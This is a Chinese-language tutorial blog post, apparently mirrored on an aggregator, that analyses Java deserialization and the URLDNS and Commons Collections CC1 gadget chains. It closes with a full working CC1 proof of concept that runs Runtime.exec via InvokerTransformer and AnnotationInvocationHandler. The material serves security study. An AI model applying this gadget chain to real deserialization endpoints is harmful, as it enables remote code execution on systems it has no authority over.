当前位置: 首页 > news >正文

JAVA序列化与反序列化URLDNS链CC1链

1、序列化的实现

java序列化的是对象属性的,只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),静态成员变量是属于类的,所以静态成员变量是不能被序列化的,被transient 标识的对象成员变量不参与序列化。

2、重写readObject方法的原因

java.lang.Object
└── java.io.InputStream
└── java.io.ObjectInputStream
重写(Override)是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写,比如父类有a,b,c,readobject()这四个方法,但是你只希望使用readObject()方法进行重写,你就可以只重写readObject()方法。

3、Java反序列化漏洞条件

共同条件继承Serializable
入口类:因为反序列化一定会调用readObject()方法,所以可以把readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject,重写的这个readObject最好调用常见的函数,参数类型宽泛(Object 类最宽泛,接口类例如HashMap随便存放各种参数),最好是JDK自带的类(这里是因为要对方的服务器上也存在这个类才可以)
调用链:gadget chain 相同名称,相同类型
执行类:(rce ssrf写文件等)最重要

URLDNS链分析

思路:URL这个类有解析DNS的的方法,通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通过构造恶意类来攻击目标服务器实现DNS解析,可以考虑此方法。但是反序列化一定会调用的是readObjet()方法,也就是上面提到的readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject。这里如果你想到用URL类下自带的readObject方法,这个入口选择是错误的,如下图所示。在这里插入图片描述
从图中我们可以看出,URL类中的readObject并无可以进一步利用的函数“常见的函数,参数类型宽泛(Object 类最宽泛,接口类,例如HashMap随便存放各种参数)”因此我们就想找其他类作为入口,中间如果有相同名称,相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法,发现HashMap类下有有一个hash函数调用了hashCode,并且右键hash查找用法发现了readObject,构造链已经确定。HashMap——>readObject()——>hash()——>hashcode()

在这里插入图片描述

POC

一开始是这样写的如下图如
在这里插入图片描述
debug发现,序列化的时候就会解析DNS,原因是因为URL里的hashCode会默认hashCode=-1,导致进去hashCode去解析DNS。在这里插入图片描述
但是在反序列化的时候我们给URL之前默认给的值是1,这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS,导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1,然后再反序列化之前再把hashCode改为-1。

CC1链分析

首先找到Transform这个接口类看他的实现方法有哪些
在这里插入图片描述在InvokerTransformer类调用的transform方法发现此方法的类,参数类型,值都是可控的类似于后门,可以创建实现任意类,这里我们把他当做sink
在这里插入图片描述
进一步查找有无通过readObject方法调用transform方法的,找不到,因此找中间方法,找到了TransformedMap类下的checksetvalue方法调用了transform在这里插入图片描述
valueTransformer.transform(value);这里简单分析一下,当valueTransformer=InvokerTransformer
value=Runtime.class,便可实现命令执行。
这里通过valueTransformer构造方法传参
在这里插入图片描述

继续去找调用了checkSetValue方法的类,在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue
在这里插入图片描述
在这里插入图片描述

这里我们可以发现
MapEntry extends AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue
在这里插入图片描述在这里插入图片描述
Map.Entry还是接口类

知识点:接口类必须被实现,抽象类的方法只能由子类实现

所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue()
然后再次去寻找那个类下的readObject()方法调用了setValue()方法,在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue()
在这里插入图片描述
下图是根据以上调用链条写的POC
在这里插入图片描述

这里进入调用setValue()首先要满足两个if条件
在这里插入图片描述
这是
在调试代码的时候发现我们传入的memberTypes为空
通过此行代码可以发现
Class<?> memberType = memberTypes.get(name);
他是从传入的mmberType通过get方法查找有无对应的参数
在这里插入图片描述
下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类
在这里插入图片描述

在这里插入图片描述
这个地方把key改成value
在这里插入图片描述

调试代码显示memberType已经不为空了
在这里插入图片描述
然后在想如何绕过第二个if
这里就要利用到了Transformer接口实现的另一个类ConstantTransformer,它实现了transform方法无论输入对象是什么,他都会返回参数构造中的固定值
在这里插入图片描述

但是你会发现,你不仅要调用创建InvokerTransformer,还要调用创建ConstantTransformer,如何解决这个问题呢,这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用
在这里插入图片描述
调用setvalue方法你会发现传入的参数是无效的参数,这时候就巧妙地用到了constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环
在这里插入图片描述

同时这里还有一个问题,Runtime类没有继承Serializable,所以要通过反射来实现,这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行
在这里插入图片描述

最后测试
在这里插入图片描述
成功
完整POC

package com.example.fastjson122.demos.web;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TestCC1 {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
          Runtime r=Runtime.getRuntime();
//        Class c=Runtime.class;
//        Method execMethod=c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");
        Transformer[] transformer=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
        //Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        //transformedmap.put(1,Runtime.getRuntime());
//        for(Map.Entry entry:transformedmap.entrySet()){
//            entry.setValue(r);
//        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annConstructor.setAccessible(true);
        Object o=annConstructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

}

相关文章:

  • 【初学者】谈谈ChatGPT使用的算法?
  • IMX8MP Android 10系统编译SDK
  • LeetCode 30 —— 30.串联所有单词的子串
  • MobaXterm(远程终极工具箱) v25.1 Build 5288 汉化绿色版
  • Rust语言介绍和猜数字游戏的实现
  • Flink集群部署
  • 集装箱箱号OCR识别技术,在铁路物流场站集装箱装卸机械数字化系统中的应用
  • 高级java每日一道面试题-2025年3月05日-微服务篇[Eureka篇]-Eureka在微服务架构中的角色?
  • nginx keepalive设置失效k6显示i/o timeout解决方案
  • Redis项目:秒杀业务(优化)
  • 知识蒸馏:让大模型“瘦身”的魔法
  • LiteratureReading:[2016] Enriching Word Vectors with Subword Information
  • Mac:Maven 下载+安装+环境配置(详细讲解)
  • 过往记录系列 篇四:年报月行情历史梳理
  • std::expected
  • 深度学习 第4章 数值计算和 Deepseek 的实践
  • 【初学者】怎样学习、使用与研究算法?
  • 阅读《Vue.js设计与实现》 -- 02
  • 【Notepad】Notepad优化笔记AutoHotkey语法高亮\设置替换默认的notepad程序\设置主题\增加返回上一个编辑地方插件
  • Android 12系统源码_系统启动(一)init进程
  • 浙商银行外部监事高强无法履职:已被查,曾任建行浙江省分行行长
  • 安徽省公安厅原副厅长刘海石主动投案,正接受审查调查
  • 当初没有珍惜巴特勒的热火,被横扫出局后才追悔莫及
  • 新一届中国女排亮相,奥运冠军龚翔宇担任队长
  • 央行回应美债波动:单一市场、单一资产变动对我国外储影响总体有限
  • 格力电器去年净利增长一成:消费电器营收下滑4%,一季度净利增长26%